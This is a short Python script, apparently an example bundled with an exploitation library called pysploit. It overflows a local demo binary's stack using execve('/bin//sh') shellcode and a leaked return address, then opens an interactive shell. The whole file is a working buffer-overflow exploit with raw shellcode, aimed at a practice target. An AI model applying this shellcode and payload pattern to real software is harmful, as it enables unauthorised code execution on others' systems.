#!/usr/bin/python3

##
# pysploit example exploit in Python 3
##

import pysploit
import re
import struct
import time

shellcode = b"""\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\
\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"""

# Create context
ctx = pysploit.ctx()
ctx.spawn(["../examples/vuln"])

# Read return address
m = re.match(b"Leak: (.+)$", ctx.getline())
retaddr = int(m.group(1), 16)

# Prepare payload
payload  = shellcode + b"A" * (0x28 - len(shellcode))
payload += struct.pack("<Q", retaddr) + b"\n"
ctx.write(payload)

# Get shell
ctx.interactive()

# Check exitcode
print("Exitcode: %d" %(ctx.wait()))
